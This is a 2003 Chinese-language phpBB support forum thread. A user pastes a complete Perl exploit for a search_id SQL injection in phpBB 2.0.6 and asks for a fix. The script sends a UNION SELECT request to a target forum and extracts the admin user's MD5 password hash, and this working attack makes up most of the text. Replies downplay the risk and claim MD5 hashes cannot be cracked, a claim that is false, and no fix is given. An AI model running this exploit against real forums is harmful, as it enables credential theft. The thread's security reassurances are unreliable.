[問題]急!!! 新bug!! phpBB v2.06

phpBB Installation & Usage Support
phpBB 2 安裝於各類型作業平台之問題討論;外掛問題,請到相關版面依發問格式發表!
(發表文章請按照公告格式發表,違者砍文)

版主: 版主管理群

版面規則
本區是討論關於 phpBB 2.0.X 架設安裝上的問題,只要有安裝任何外掛,請到外掛討論相關版面按照公告格式發表。
(發表文章請按照公告格式發表,違者砍文)
主題已鎖定
eliotsx
星球公民
星球公民
文章: 66
註冊時間: 2003-05-18 14:27

[問題]急!!! 新bug!! phpBB v2.06

文章 eliotsx »

關於以下的bug要如何解決

phpBB v2.06 search_id sql injection exploit

代碼: 選擇全部

#!/usr/bin/perl -w
use IO::Socket;
##    PROOF-OF-CONCEPT
##    * work only with mysql ver > 4.0
##    * work only with post #1 
##
##    Example:\r
##    C:\>r57phpbb-poc.pl 127.0.0.1 phpBB2 2 2
##    [~] prepare to connect...
##    [+] connected
##    [~] prepare to send data...
##    [+] OK
##    [~] wait for response...
##    [+] MD5 Hash for user with id=2 is: 5f4dcc3b5aa765d61d8327deb882cf99
##
if (@ARGV < 4)
{
print "

";
print "|****************************************************************|
";
print " r57phpbb.pl
";
print " phpBB v<=2.06 search_id sql injection exploit (POC version)
";
print " by RusH security team // www.rsteam.ru , http://rst.void.ru
";
print " coded by f3sy1 & 1dt.w0lf // 16/12/2003
";
print " Usage: r57phpbb-poc.pl <server> <folder> <user_id> <search_id>
";
print " e.g.: r57phpbb-poc.pl 127.0.0.1 phpBB2 2 2
";
print " [~] <server> - server ip
";
print " [~] <folder> - forum folder
";
print " [~] <user_id> - user id (2 default for phpBB admin)
";
print " [~] <search_id> - play with this value for results
";
print "|****************************************************************|
";
print "

";
exit(1);
}
$success = 0;
$server = $ARGV[0];
$folder = $ARGV[1];
$user_id = $ARGV[2];
$search_id = $ARGV[3];
print "[~] prepare to connect...
";
$socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$server",
PeerPort => "80") || die "$socket error $!";
print "[+] connected
";
print "[~] prepare to send data...
";
# PROOF-OF-CONCEPT reguest...
print $socket "GET /$folder/search.php?search_id=$search_id%20union%20select%20concat(char(97,58,55,58,123,115,58,49,52,58,34,115,101,97,114,99,104,95,114,101,115,117,108,116,115,34,59,115,58,49,58,34,49,34,59,115,58,49,55,58,34,116,111,116,97,108,95,109,97,116,99,104,95,99,111,117,110,116,34,59,105,58,53,59,115,58,49,50,58,34,115,112,108,105,116,95,115,101,97,114,99,104,34,59,97,58,49,58,123,105,58,48,59,115,58,51,50,58,34),user_password,char(34,59,125,115,58,55,58,34,115,111,114,116,95,98,121,34,59,105,58,48,59,115,58,56,58,34,115,111,114,116,95,100,105,114,34,59,115,58,52,58,34,68,69,83,67,34,59,115,58,49,50,58,34,115,104,111,119,95,114,101,115,117,108,116,115,34,59,115,58,54,58,34,116,111,112,105,99,115,34,59,115,58,49,50,58,34,114,101,116,117,114,110,95,99,104,97,114,115,34,59,105,58,50,48,48,59,125))%20from%20phpbb_users%20where%20user_id=$user_id/*
HTTP/1.0

";
print "[+] OK
";
print "[~] wait for response...
";
while ($answer = <$socket>)
{
if ($answer =~ /;highlight=/)
{
$success = 1;
@result=split(/;/,$answer);
@result2=split(/=/,$result[1]);
$result2[1]=~s/&/ /g;
print "[+] MD5 Hash for user with id=$user_id is: $result2[1]
";
}
}
if ($success==0) {print "[-] exploit failed =(
";}
最後由 eliotsx 於 2003-12-22 01:45 編輯,總共編輯了 1 次。
messagebox
竹貓忠實會員
竹貓忠實會員
文章: 981
註冊時間: 2003-02-24 23:34

文章 messagebox »

好玩~~~不過我的SQL是3.23~~
找不到問題~~
有4.0的人玩玩看吧~~

不過說真的~~
拿到MD5的密碼又如何~~~
MD5是不可逆的~~~

要解碼~~~等你有一台超級電腦再來考慮吧~
design
竹貓忠實會員
竹貓忠實會員
文章: 330
註冊時間: 2003-10-31 00:36
聯繫:

文章 design »

我看不懂你說的bug~

和這個有關嗎?

http://www.phpbb.com/phpBB/viewtopic.php?t=153818

修看看
eliotsx
星球公民
星球公民
文章: 66
註冊時間: 2003-05-18 14:27

文章 eliotsx »

不是吧 這是今天我在外國網站看到的
是新的bug
eliotsx
星球公民
星球公民
文章: 66
註冊時間: 2003-05-18 14:27

文章 eliotsx »

竹貓大大有沒有辦法解決啊
messagebox
竹貓忠實會員
竹貓忠實會員
文章: 981
註冊時間: 2003-02-24 23:34

文章 messagebox »

我覺得有點小題大作~~~
這個BUG是針對MYSQL4.0的版本漏洞~~
但也只能查詢到被MD5編碼過的密碼~~

MD5屬於不可逆的編碼~~
想解MD5~~我敢保證你比寫CIH病毒的還要有勇氣~~

當然~MD5並不是說解不了~~
但至少現在還沒聽說有人解過MD5的編碼~~

基本上根本不用擔心~~
eliotsx
星球公民
星球公民
文章: 66
註冊時間: 2003-05-18 14:27

文章 eliotsx »

messagebox 寫:我覺得有點小題大作~~~
這個BUG是針對MYSQL4.0的版本漏洞~~
但也只能查詢到被MD5編碼過的密碼~~

MD5屬於不可逆的編碼~~
想解MD5~~我敢保證你比寫CIH病毒的還要有勇氣~~

當然~MD5並不是說解不了~~
但至少現在還沒聽說有人解過MD5的編碼~~

基本上根本不用擔心~~
可是以上的代碼只是其中的一運用而已\r
還可以分析整個結構表跟cookie的資訊以及其他有的沒的
修正方法是什麼有人知道嗎
Mowd
竹貓忠實會員
竹貓忠實會員
文章: 326
註冊時間: 2002-06-26 01:17
來自: 台北
聯繫:

文章 Mowd »

這跟 phpbb 應該沒關係吧,重點是在 MySQL 4.0
主題已鎖定

回到「phpBB 2 安裝與使用」